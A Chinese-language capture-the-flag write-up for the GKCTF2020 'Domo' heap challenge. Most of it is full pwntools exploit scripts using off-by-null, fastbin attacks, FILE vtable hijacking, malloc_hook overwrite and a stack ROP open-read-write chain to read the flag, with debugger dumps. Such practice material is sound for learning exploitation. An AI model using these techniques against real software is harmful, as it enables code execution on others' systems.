[GKCTF2020]Domo
这个题利用的知识点还是比较多的,一开始还没啥思路,看了看大佬文章,如醍醐灌顶。然后自己一共尝试了4个EXP。不枉我花了好几天~~
环境glibc2.23 x64 保护全开
IDA
if ( choice != 1 )
break;
add(); // hook_check
// malloc(size) size:0~0x120
// OFF BY NULL
}
if ( choice != 2 )
break;
delete(); // hook_check
// 正常删除
// 指针置零
// nums减一
}
if ( choice != 3 )
break;
show(); // 常规show
}
if ( choice != 4 )
break;
a2 = (char **)&v5;
edit(&v4, &v5, &v6); // hook_check
// 任意地址写1字节
// 一次性函数
题目还开启了沙箱,但是注意到沙箱初始化并没有放在程序开头,而是结尾。如果经过沙箱那就得用orw。
比较重要的漏洞就是OFF BY NULL了,edit单字节任意地址写的利用并不是必要的,在4中方法中说明
方法: 针对glibc2.23及一下的vtable指针劫持
在glibc2.23之前vtable在libc中是可读可写的,虽然在glibc2.23不可写但是IO_2_1stdou (stdin,stderr)的vtable指针可劫持,并不会像glibc2.24对指针进行检查。
大概思路是:
既然程序是在最后进行沙箱初始化,那么一个当然的想法就是在避开退出程序,在循环的过程中进行程序劫持。由于几个可劫持点都检查了malloc_hook和free_hook所以这个常规方法不可行,但是我们可以劫持menu中的puts函数及通过篡改vtable指针指向我们的fake_vtable即可。当然我们的fake_vtable填满onegadget。
过程:泄露地址
info("*"*8 + "leaking libc_addr" + "*"*8)
add(0x80,'A'*0x10) #0
add(0x10,'B'*8) #1
add(0x10,'C'*8) #2
delete(0)
add(0x80,'') #0
show(0)
libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0x58 - 0x3c4b20 - 0x0a + 0x78
# gdb.attach(sh)
system = libc_addr + libc.sym['system']
show_addr('libc_addr',libc_addr)
show_addr('system',system)
info("*"*8 + "leaking heap_addr" + "*"*8)
delete(1)
delete(2)
add(0x10,'')
show(1)
heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0xa + 0x10
show_addr('heap_addr', heap_addr)
由于程序的show函数过于简单,可以方便的泄露libc地址和heap地址。heap地址用来OFF BY NULL的利用
过程:OFF BY NULL + FASTBIN ATTACK
info("*"*8 + "fast_bin attack" + "*"*8)
stdout_file = libc_addr + libc.sym['_IO_2_1_stdout_']
vtable_addr = stdout_file + 0xd8
fake_chunk = vtable_addr - 0x18
fake_fd_bk = heap_addr + 0xd0
show_addr('fake_chunk', fake_chunk)
show_addr('stdout_file',stdout_file)
show_addr('vtable_addr',vtable_addr)
add(0x28,p64(fake_fd_bk)*2 + 'A'*0x10 + p64(0x30))
add(0x68,'B'*8)
add(0xf0,'C'*8)
add(0x20,'D'*8)
delete(4)
payload = 'B'*0x60 + p64(0xa0)
add(0x68,payload)
delete(5)
- fake_chunk:通过调试观察,然后通过edit函数打一个’\x71’进入size域即可
- fastbin attack结合edit函数我们可以方便的获取某些空间的读写权
知道heap地址,以及vtable指针可控我们就可以轻易通过puts函数劫持程序流程
过程:FILE劫持
info("*"*8 + "IO_FILE hijack" + "*"*8)
delete(4)
one_bit(fake_chunk + 0x8,'\x71') #edit
payload = p64(onegadget)*5 + p64(0x71) #0x24
payload += p64(fake_chunk) + p64(onegadget)
payload += p64(onegadget)*(0x24-8)
add(0x120,payload)
fake_vtable = fake_fd_bk + 0x8
show_addr('fake_vtable',fake_vtable)
padding = p64(onegadget)*2
add(0x60,padding)
payload = p64(0) + p64(fake_vtable)
# gdb.attach(sh)
add(0x60,payload)
这个方法考察了:
- OFF by NULL利用
- fastbin attack
- IO vtable指针劫持
方法:scanf对malloc函数的调用
在setvbuf中可以发现并没有吧stdin的缓冲区彻底关闭,而是进行行缓冲,也就是说还是IO的stdin函数还是会有缓冲区,我觉得这应该是一个hint。那么我们既然不能在add,delete函数中进行hook劫持,我们还能通过scanf进行malloc_hook劫持。
大概思路:
也是一样的通过OFF BY NULL + FASTBIN ATTACK在最后一次add完成对malloc_hook的劫持,然后执行scanf时输入大量字符使其调用malloc_hook,从而执行onegadget
#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Square_R
#Time: 2021.02.05 09.56.46
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
import sys
context.arch = 'amd64'
def add(size,cont):
sh.sendlineafter('> ','1')
sh.sendlineafter('size:\n',str(size))
sh.sendlineafter('content:\n',str(cont))
def one_bit(addr,bit):
sh.sendlineafter('> ','4')
sh.sendlineafter('addr:\n',str(addr))
sh.sendlineafter('num:\n',str(bit))
def delete(index):
sh.sendlineafter('> ','2')
sh.sendlineafter('index:\n',str(index))
def show(index):
sh.sendlineafter('> ','3')
sh.sendlineafter('index:\n',str(index))
def show_addr(name,addr):
log.success('The '+str(name)+' Addr:' + str(hex(addr)))
host = 'node3.buuoj.cn'
port = 27269
local = int(sys.argv[1])
if local:
# context.log_level = 'debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
sh = process('./domo')
else:
# context.log_level = 'debug'
libc=ELF('./libc.so.6')
sh = remote(host,port)
def pwn():
info("*"*8 + "leaking libc_addr" + "*"*8)
add(0x80,'A'*0x10) #0
add(0x10,'B'*8) #1
add(0x10,'C'*8) #2
delete(0)
add(0x80,'') #0
show(0)
libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0x58 - 0x3c4b20 - 0x0a + 0x78
# gdb.attach(sh)
system = libc_addr + libc.sym['system']
show_addr('libc_addr',libc_addr)
show_addr('system',system)
info("*"*8 + "leaking heap_addr" + "*"*8)
delete(1)
delete(2)
add(0x10,'')
show(1)
heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0xa + 0x10
show_addr('heap_addr', heap_addr)
if sys.argv[1] == '1':
onegad = [0x45226,0x4527a,0xf0364,0xf1207]
else:
onegad = [0x45216,0x4526a,0xf02a4,0xf1147]
onegadget = libc_addr + onegad[2]
show_addr('onegadget', onegadget)
add(0x10,'')
info("*"*8 + "fast_bin attack" + "*"*8)
malloc_hook = libc_addr + libc.sym['__malloc_hook']
show_addr('malloc_hook',malloc_hook)
fake_fd_bk = heap_addr + 0xd0
padding = p64(fake_fd_bk)*2 + 'A'*0x10 + p64(0x30)
add(0x28,padding)
add(0x60,'B'*0x10)
add(0xf0,'C'*0x10)
add(0x20,'D'*0x10)
delete(4)
payload = 'B'*0x60 + p64(0xa0)
add(0x68,payload)
delete(5)
delete(4)
one_bit(malloc_hook-0x18,'\x71')
payload = 'A'*0x28 + p64(0x71) + p64(malloc_hook - 0x20)
add(0x120,payload)
add(0x60,'')
payload = p64(onegadget)*3
add(0x60,payload)
sh.sendline('0'*1280)
# gdb.attach(sh)
if __name__ == '__main__':
pwn()
sh.interactive()
和第一个方法其实没什么太大的区别。但是我认为是最优解
方法: 栈劫持_0,orw
其实对于这个题,看似劫持条件恶劣(沙箱 hook检查)但是对于OFF BY NULL造成的chunk overlap是可以多次利用的
.也就是说我们可以多次对某些空间进行写fastbin attack获取其读写权。那就想办法获取栈上chunk块,填入rop链
坑:seccomp_init函数会影响对空间,而一般的prctl进行规则设置不会影响堆
完整EXP(下面的过程只截取重要部分)
#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Square_R
#Time: 2021.02.05 09.56.46
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
import sys
context.arch = 'amd64'
def add(size,cont):
sh.sendlineafter('> ','1')
sh.sendlineafter('size:\n',str(size))
sh.sendlineafter('content:\n',str(cont))
def one_bit(addr,bit):
sh.sendlineafter('> ','4')
sh.sendlineafter('addr:\n',str(addr))
sh.sendlineafter('num:\n',str(bit))
def delete(index):
sh.sendlineafter('> ','2')
sh.sendlineafter('index:\n',str(index))
def show(index):
sh.sendlineafter('> ','3')
sh.sendlineafter('index:\n',str(index))
def show_addr(name,addr):
log.success('The '+str(name)+' Addr:' + str(hex(addr)))
host = 'node3.buuoj.cn'
port = 28083
local = int(sys.argv[1])
if local:
# context.log_level = 'debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
sh = process('./domo')
else:
# context.log_level = 'debug'
libc=ELF('./libc.so.6')
sh = remote(host,port)
def pwn():
info("*"*8 + "leaking libc_addr" + "*"*8)
add(0x80,'A'*0x10) #0
add(0x10,'B'*8) #1
add(0x10,'C'*8) #2
delete(0)
add(0x80,'') #0
show(0)
libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0x58 - 0x3c4b20 - 0x0a + 0x78
# gdb.attach(sh)
system = libc_addr + libc.sym['system']
show_addr('libc_addr',libc_addr)
show_addr('system',system)
info("*"*8 + "leaking heap_addr" + "*"*8)
delete(1)
delete(2)
add(0x10,'')
show(1)
heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0xa + 0x10
show_addr('heap_addr', heap_addr)
if sys.argv[1] == '1':
onegad = [0x45226,0x4527a,0xf0364,0xf1207]
else:
onegad = [0x45216,0x4526a,0xf02a4,0xf1147]
onegadget = libc_addr + onegad[2]
show_addr('onegadget', onegadget)
add(0x10,'')
info("*"*8 + "fast_bin attack" + "*"*8)
__environ = libc_addr + libc.sym['__environ']
stdout = libc_addr + libc.sym['_IO_2_1_stdout_']
fake_fd_bk = heap_addr + 0xd0
fake_chunk2_FILE = stdout - 0x43
show_addr('__environ', __environ)
show_addr('fake_chunk2_FILE',fake_chunk2_FILE)
padding = p64(fake_fd_bk)*2 + 'A'*0x10 + p64(0x30)
add(0x28,padding)
add(0x60,'B'*0x10)
add(0xf0,'C'*0x10)
add(0x20,'D'*0x10)
delete(4)
payload = 'B'*0x60 + p64(0xa0)
add(0x68,payload)
delete(5)
delete(4)
payload = 'A'*0x28 + p64(0x71)
payload += p64(fake_chunk2_FILE)
add(0x120,payload)
add(0x60,'')
payload = '\x00'*0x28 + p64(0x67056596e0000000) + '\x7f\x00\x00'
payload += p64(0xfbad3887) + p64(0)*3
payload += p64(__environ) + p64(__environ+8) #for __IO_write_base
add(0x68,payload)
ret_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0xf0
canary_addr = ret_addr - 0x10
show_addr('ret_addr',ret_addr)
show_addr('canary_addr',canary_addr)
gdb.attach(sh)
info("*"*8 + "canary leaking" +"*"*8)
delete(5)
delete(4)
payload = 'A'*0x28 + p64(0x71)
payload += p64(fake_chunk2_FILE)
add(0x120,payload)
add(0x60,'')
payload = '\x00'*0x28 + p64(0x67056596e0000000) + '\x7f\x00\x00'
payload += p64(0xfbad3887) + p64(0)*3
payload += p64(canary_addr) + p64(canary_addr+8) #for __IO_write_base
add(0x68,payload)
canary = u64(sh.recv(8))
success("canary:0x%x"%(canary))
# gdb.attach(sh)
info("*"*8 + "stack hijack" +"*"*8)
fake_chunk2_ROP = ret_addr - 0x1b
show_addr('fake_chunk2_ROP',fake_chunk2_ROP)
PopRdi = libc_addr + libc.search(asm("pop rdi;ret")).next() #0x0000000000021112
PopRsi = libc_addr + libc.search(asm("pop rsi;ret")).next() #0x00000000000202f8
PopRdx = libc_addr + libc.search(asm("pop rdx;ret")).next() #0x0000000000001b92
PopRdxRsi = libc_addr + libc.search(asm("pop rdx;pop rsi;ret")).next() #0x0000000000115189
Call_Open = flat(PopRdi,heap_addr+0xf0,PopRdxRsi,0x1000,0,libc_addr+libc.sym['open']) #0x30
Call_Read = flat(PopRdi,3,PopRsi,heap_addr+0xf0,libc_addr+libc.sym['read']) + '\x00'*2#0x28+2
Call_Write = flat(PopRdi,1,libc_addr+libc.sym['write']) # 0x18
delete(5)
delete(4)
payload = 'A'*0x28 + p64(0x71)
payload += p64(fake_chunk2_ROP)
add(0x120,payload)
add(0x60,'')
delete(1)
payload = p64(canary)[-3:] + p64(0xdeadbeef) + Call_Open + Call_Read
add(0x68,payload)
delete(5)
delete(4)
payload = 'A'*0x28 + p64(0x71)
payload += p64(ret_addr + 0x45 -0x8)
add(0x120, payload)
add(0x60,'')
delete(0)
payload = '\x55' + '\x00'*2 + p64(libc_addr+libc.sym['read']) + Call_Write
add(0x60, payload)
delete(3)
delete(5)
fix = p64(heap_addr) + p64(libc_addr + 0x3c4b20 + 58)
fix += './flag'.ljust(0x18,'\x00') + p64(0x71) + p64(0)
add(0x120,fix)
sh.sendlineafter('> ','5')
info(sh.recvuntil('\n'))
'''
FAKE CHUNKS FOR IO_FILE
Fake chunk | Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7fcca5ddd5dd
prev_size: 0x-335a2239a0000000
size: 0x7f
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00
'''
if __name__ == '__main__':
pwn()
sh.interactive()
过程:泄露地址
info("*"*8 + "leaking libc_addr" + "*"*8)
add(0x80,'A'*0x10) #0
add(0x10,'B'*8) #1
add(0x10,'C'*8) #2
delete(0)
add(0x80,'') #0
show(0)
libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0x58 - 0x3c4b20 - 0x0a + 0x78
# gdb.attach(sh)
system = libc_addr + libc.sym['system']
show_addr('libc_addr',libc_addr)
show_addr('system',system)
info("*"*8 + "leaking heap_addr" + "*"*8)
delete(1)
delete(2)
add(0x10,'')
show(1)
heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0xa + 0x10
show_addr('heap_addr', heap_addr)
那么想对stack进行fastbin attack必须知道栈地址,那咋泄露呢?我们可以通过IO_2_1_stdout + __environ进行泄露
过程:IO_stdout函数任意地址读 + 泄露栈地址
info("*"*8 + "fast_bin attack" + "*"*8)
__environ = libc_addr + libc.sym['__environ']
stdout = libc_addr + libc.sym['_IO_2_1_stdout_']
fake_fd_bk = heap_addr + 0xd0
fake_chunk2_FILE = stdout - 0x43
show_addr('__environ', __environ)
show_addr('fake_chunk2_FILE',fake_chunk2_FILE)
padding = p64(fake_fd_bk)*2 + 'A'*0x10 + p64(0x30)
add(0x28,padding)
add(0x60,'B'*0x10)
add(0xf0,'C'*0x10)
add(0x20,'D'*0x10)
delete(4)
payload = 'B'*0x60 + p64(0xa0)
add(0x68,payload)
delete(5)
delete(4)
payload = 'A'*0x28 + p64(0x71)
payload += p64(fake_chunk2_FILE)
add(0x120,payload)
add(0x60,'')
payload = '\x00'*0x28 + p64(0x67056596e0000000) + '\x7f\x00\x00'
payload += p64(0xfbad3887) + p64(0)*3
payload += p64(__environ) + p64(__environ+8) #for __IO_write_base
add(0x68,payload)
ret_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0xf0
这里对_IO_2_1_stdout_附近的空间进行fastbin attack时可以找到fake_chunk并不需要edit的一字节写入
过程:canary泄露
由于不能在main函数的ret地址附近找到合适的0x7n的size:
pwndbg> x/8gx 0x7ffe0bae88a8 - 0x20
0x7ffe0bae8888: 0x0000000200000001 0x00007ffe0bae8980
0x7ffe0bae8898: 0x68d7f63b45ca5200 0x0000558ba2dda3e0
0x7ffe0bae88a8: 0x00007fee5a5cb840 0x0000000000000001
0x7ffe0bae88b8: 0x00007ffe0bae8988 0x000000015ade6ca0
ret_addr : 0x7ffe0bae88a8
pwndbg> x/8gx 0x7ffe0bae88a8 - 0x40
0x7ffe0bae8868: 0x0000558ba2dd9c9a 0x0000000000000000
0x7ffe0bae8878: 0x0000558ba2dda2dc 0x0000000100000001
0x7ffe0bae8888: 0x0000000200000001 0x00007ffe0bae8980 << ===== 找到这个位置
0x7ffe0bae8898: 0x68d7f63b45ca5200 0x0000558ba2dda3e0
所以只能在ret_addr上面一点找,那就必然会影响canary,所以先泄露canary,也不难用泄露栈地址的方法在泄露一次即可。而恰好我所找到的位置就在canary上方,canary最后一个字节是’\x00’刚好配合上面’\x00\x00\x7f’是4个字节符合chunk size字段。
canary_addr = ret_addr - 0x10
show_addr('ret_addr',ret_addr)
show_addr('canary_addr',canary_addr)
gdb.attach(sh)
info("*"*8 + "canary leaking" +"*"*8)
delete(5)
delete(4)
payload = 'A'*0x28 + p64(0x71)
payload += p64(fake_chunk2_FILE)
add(0x120,payload)
add(0x60,'')
payload = '\x00'*0x28 + p64(0x67056596e0000000) + '\x7f\x00\x00'
payload += p64(0xfbad3887) + p64(0)*3
payload += p64(canary_addr) + p64(canary_addr+8) #for __IO_write_base
add(0x68,payload)
canary = u64(sh.recv(8))
success("canary:0x%x"%(canary))
但是对ROP链的处理是比教头疼的,由于我选择在ret上面一块区域获取chunk,而这个chunk大小最多我使用0x68出去canary一部分,RBP一部分只能使用不到0x60字节存放ROP链
过程:ROP链
info("*"*8 + "stack hijack" +"*"*8)
fake_chunk2_ROP = ret_addr - 0x1b
show_addr('fake_chunk2_ROP',fake_chunk2_ROP)
PopRdi = libc_addr + libc.search(asm("pop rdi;ret")).next() #0x0000000000021112
PopRsi = libc_addr + libc.search(asm("pop rsi;ret")).next() #0x00000000000202f8
PopRdx = libc_addr + libc.search(asm("pop rdx;ret")).next() #0x0000000000001b92
PopRdxRsi = libc_addr + libc.search(asm("pop rdx;pop rsi;ret")).next() #0x0000000000115189
Call_Open = flat(PopRdi,heap_addr+0xf0,PopRdxRsi,0x1000,0,libc_addr+libc.sym['open']) #0x30
Call_Read = flat(PopRdi,3,PopRsi,heap_addr+0xf0,libc_addr+libc.sym['read'])#0x28
Call_Write = flat(PopRdi,1,libc_addr+libc.sym['write']) # 0x18
delete(5)
delete(4)
payload = 'A'*0x28 + p64(0x71)
payload += p64(fake_chunk2_ROP)
add(0x120,payload)
add(0x60,'')
delete(1)
payload = p64(canary)[-3:] + p64(0xdeadbeef) + Call_Open + Call_Read
add(0x68,payload)
这个Call_Open的ROP链只能这样构造减少Call_Read字节使用,然后利用heap_addr结尾为’\x00’的地址为了下一次的fastbin attack:
pwndbg> x/8gx 0x7ffcc1934988
0x7ffcc1934988: 0x00007f0c3d6a8112 0x000055ac3e19d100
0x7ffcc1934998: 0x00007f0c3d79c189 0x0000000000001000
0x7ffcc19349a8: 0x0000000000000000 0x00007f0c3d77e0f0
0x7ffcc19349b8: 0x00007f0c3d6a8112 0x0000000000000003
pwndbg>
0x7ffcc19349c8: 0x00007f0c3d6a72f8 0x000055ac3e19d100 <=====
0x7ffcc19349d8: 0x00007f0c3d77e310 0xd28300b7b10a0000
0x7ffcc19349e8: 0xd362f045cd6e3c3c 0x0000000000000000
0x7ffcc19349f8: 0x0000000000000000 0x0000000000000000
在这里前面的一个字段填入的地址的’\x7f’刚好可以作为下一次fastbin attack的size
delete(5)
delete(4)
payload = 'A'*0x28 + p64(0x71)
payload += p64(ret_addr + 0x45 -0x8)
add(0x120, payload)
add(0x60,'')
delete(0)
payload = '\x55' + '\x00'*2 + p64(libc_addr+libc.sym['read']) + Call_Write
add(0x60, payload)
这样就可以构造一个完整的orw链,但是我最后退出程序想要触发orw链时却给我报错:
报错前的heap_info:
pwndbg> heapinfo
(0x20) fastbin[0]: 0x55d46be480c0 --> 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x80d0174310000055 (invaild memory)
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55d46be482b0 (size : 0x20c60)
last_remainder: 0x55d46be48210 (size : 0x70)
unsortbin: 0x55d46be48010 (size : 0x90) <--> 0x55d46be48210 (size : 0x70)
Program received signal SIGSEGV, Segmentation fault.
0x00007fc450b4949a in malloc_consolidate (av=av@entry=0x7fc450e8fb20 <main_arena>) at malloc.c:4182
4182 malloc.c: No such file or directory.
► f 0 7fc450b4949a malloc_consolidate+362
f 1 7fc450b4b688 _int_free+2344
f 2 7fc450b4f58c free+76
f 3 7fc450ec14b1
f 4 7fc450ebf321
f 5 7fc450ec0d9e
f 6 7fc450eba767 seccomp_rule_add+135
f 7 55e6e518836b
f 8 7fc450aec112 iconv+194
f 9 7fc450be0189 __lll_unlock_wake_private+25
f 10 7fc450bc20f0 open64
────────────────────────────────────────────────────────────────────────────────
我们知道malloc_consolidate会对fastbin中的chunk合并并放入对应的bin中,所以我们在进行触发时还要把堆修复把:
delete(3)
delete(5)
fix = p64(heap_addr) + p64(libc_addr + 0x3c4b20 + 58)
fix += './flag'.ljust(0x18,'\x00') + p64(0x71) + p64(0) <<<<fd用NULL覆盖
add(0x120,fix)
小结
本来我也没想到要头铁,但是多次fastbin attack确实是是一个不错的环境,只是在stack处理上比较难绕过
考察:
- OFF BY NULL + FASTBIN ATTACK
- IO_stdout函数任意地址读
- stack上的ROP链构造 + orw
- 堆恢复
方法 :栈劫持_1 + orw
上面那个方法绕的弯子太多了,可以使用利用IO_stdin实现任意地址写,在栈上构造orw
思路:
libc + heap地址泄露
IO_stdout —> 栈地址泄露
one_bit : 在stdin结构体的一个特定位置写入’\x71’:
pwndbg> x/8gx 0x7ff2453078e0-0x40 0x7ff2453078a0 <_IO_wide_data_1+256>: 0x0000000000000000 0x0000000000000000 0x7ff2453078b0 <_IO_wide_data_1+272>: 0x0000000000000000 0x0000000000000071 <======在这里写入,这样其fd字段是NULL,就不会出现上面那种需要恢复的情况 0x7ff2453078c0 <_IO_wide_data_1+288>: 0x0000000000000000 0x0000000000000000 0x7ff2453078d0 <_IO_wide_data_1+304>: 0x00007ff245306260 0x0000000000000000 pwndbg> 0x7ff2453078e0 <_IO_2_1_stdin_>: 0x00000000fbad2288 0x0000559bdd90b010 0x7ff2453078f0 <_IO_2_1_stdin_+16>: 0x0000559bdd90b010 0x0000559bdd90b010 0x7ff245307900 <_IO_2_1_stdin_+32>: 0x0000559bdd90b010 0x0000559bdd90b010 0x7ff245307910 <_IO_2_1_stdin_+48>: 0x0000559bdd90b010 0x0000559bdd90b010 pwndbg> <====还有要注意的是如果在_IO_save_base不是NULL那么接下来的利用将会出问题 0x7ff245307920 <_IO_2_1_stdin_+64>: 0x0000559bdd90c010 0x0000000000000000
IO_stdin —> 指向ret - 2地址
通过scanf读入’5\n’ + orw
坑: 如果在_IO_save_base不是NULL的话,在触发scanf的时候会试图对该值进行free
EXP
#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Square_R
#Time: 2021.02.05 09.56.46
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
import sys
context.arch = 'amd64'
def add(size,cont):
sh.sendlineafter('> ','1')
sh.sendlineafter('size:\n',str(size))
sh.sendlineafter('content:\n',str(cont))
def one_bit(addr,bit):
sh.sendlineafter('> ','4')
sh.sendlineafter('addr:\n',str(addr))
sh.sendlineafter('num:\n',str(bit))
def delete(index):
sh.sendlineafter('> ','2')
sh.sendlineafter('index:\n',str(index))
def show(index):
sh.sendlineafter('> ','3')
sh.sendlineafter('index:\n',str(index))
def show_addr(name,addr):
log.success('The '+str(name)+' Addr:' + str(hex(addr)))
host = 'node3.buuoj.cn'
port = 27269
local = int(sys.argv[1])
if local:
# context.log_level = 'debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
sh = process('./domo')
else:
# context.log_level = 'debug'
libc=ELF('./libc.so.6')
sh = remote(host,port)
def pwn():
info("*"*8 + "leaking libc_addr" + "*"*8)
add(0x80,'A'*0x10) #0
add(0x10,'B'*8) #1
add(0x10,'C'*8) #2
delete(0)
add(0x80,'') #0
show(0)
libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0x58 - 0x3c4b20 - 0x0a + 0x78
# gdb.attach(sh)
system = libc_addr + libc.sym['system']
show_addr('libc_addr',libc_addr)
show_addr('system',system)
info("*"*8 + "leaking heap_addr" + "*"*8)
delete(1)
delete(2)
add(0x10,'')
show(1)
heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0xa + 0x10
show_addr('heap_addr', heap_addr)
if sys.argv[1] == '1':
onegad = [0x45226,0x4527a,0xf0364,0xf1207]
else:
onegad = [0x45216,0x4526a,0xf02a4,0xf1147]
onegadget = libc_addr + onegad[2]
show_addr('onegadget', onegadget)
add(0x10,'')
info("*"*8 + "fast_bin attack" + "*"*8)
stdin = libc_addr + libc.sym['_IO_2_1_stdin_']
stdout = libc_addr + libc.sym['_IO_2_1_stdout_']
__environ = libc_addr + libc.sym['__environ']
fake_chunk2_stdin = stdin -0x30
fake_chunk2_stdout = stdout - 0x43
show_addr('stdin',stdin)
show_addr('fake_chunk2_stdin',fake_chunk2_stdin)
show_addr('fake_chunk2_stdout',fake_chunk2_stdout)
padding = p64(heap_addr+0xd0)*2 + 'A'*0x10 + p64(0x30)
add(0x28,padding)
add(0x60,'')
add(0xf0,'')
add(0x20,'')
delete(4)
payload = 'A'*0x60 + p64(0xa0)
add(0x68,payload)
delete(4)
delete(5)
payload = 'A'*0x28 + p64(0x71) + p64(fake_chunk2_stdout)
add(0x120,payload)
add(0x60,'')
payload = '\x00'*0x30 + '\x00'*3
payload += p64(0xfbad3887) + p64(0)*3
payload += p64(__environ) + p64(__environ+8)
add(0x68,payload)
ret_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0xf0
show_addr('ret_addr',ret_addr)
delete(5)
delete(4)
one_bit(fake_chunk2_stdin+8,'\x71')
payload = './flag'.ljust(0x28,'\x00') + p64(0x71) + p64(fake_chunk2_stdin)
add(0x120,payload)
add(0x60,'')
payload = p64(0)*4 + p64(0x00000000fbad2288)
payload += p64(heap_addr)*6
payload += p64(ret_addr-2) + p64(ret_addr + 0x200)
add(0x68,payload)
PopRdi = libc_addr + libc.search(asm("pop rdi;ret")).next() #0x0000000000021112
PopRsi = libc_addr + libc.search(asm("pop rsi;ret")).next() #0x00000000000202f8
PopRdx = libc_addr + libc.search(asm("pop rdx;ret")).next() #0x0000000000001b92
PopRdxRsi = libc_addr + libc.search(asm("pop rdx;pop rsi;ret")).next() #0x0000000000115189
Call_Open = flat(PopRdi,heap_addr+0xe0,PopRdxRsi,0x1000,0,libc_addr+libc.sym['open']) #0x30
Call_Read = flat(PopRdi,3,PopRsi,heap_addr+0xe0,libc_addr+libc.sym['read'])#0x28
Call_Write = flat(PopRdi,1,libc_addr+libc.sym['write']) # 0x18
# gdb.attach(sh,'b*$rebase(0x00000000000012D7)')
sh.sendlineafter('> ','5\n' + Call_Open + Call_Read + Call_Write)
if __name__ == '__main__':
pwn()
sh.interactive()
考察:
- OFF BY NULL + FASTBIN ATTACK
- IO_stdout任意地址读 + IO_stdin任意地址写
- orw
大佬文章:https://nocbtm.github.io/2020/05/24/GKCTF-pwn-writeup/#domo
https://blog.play2win.top/2020/05/27/GKCTF%202020%20Domo%E5%88%86%E6%9E%90/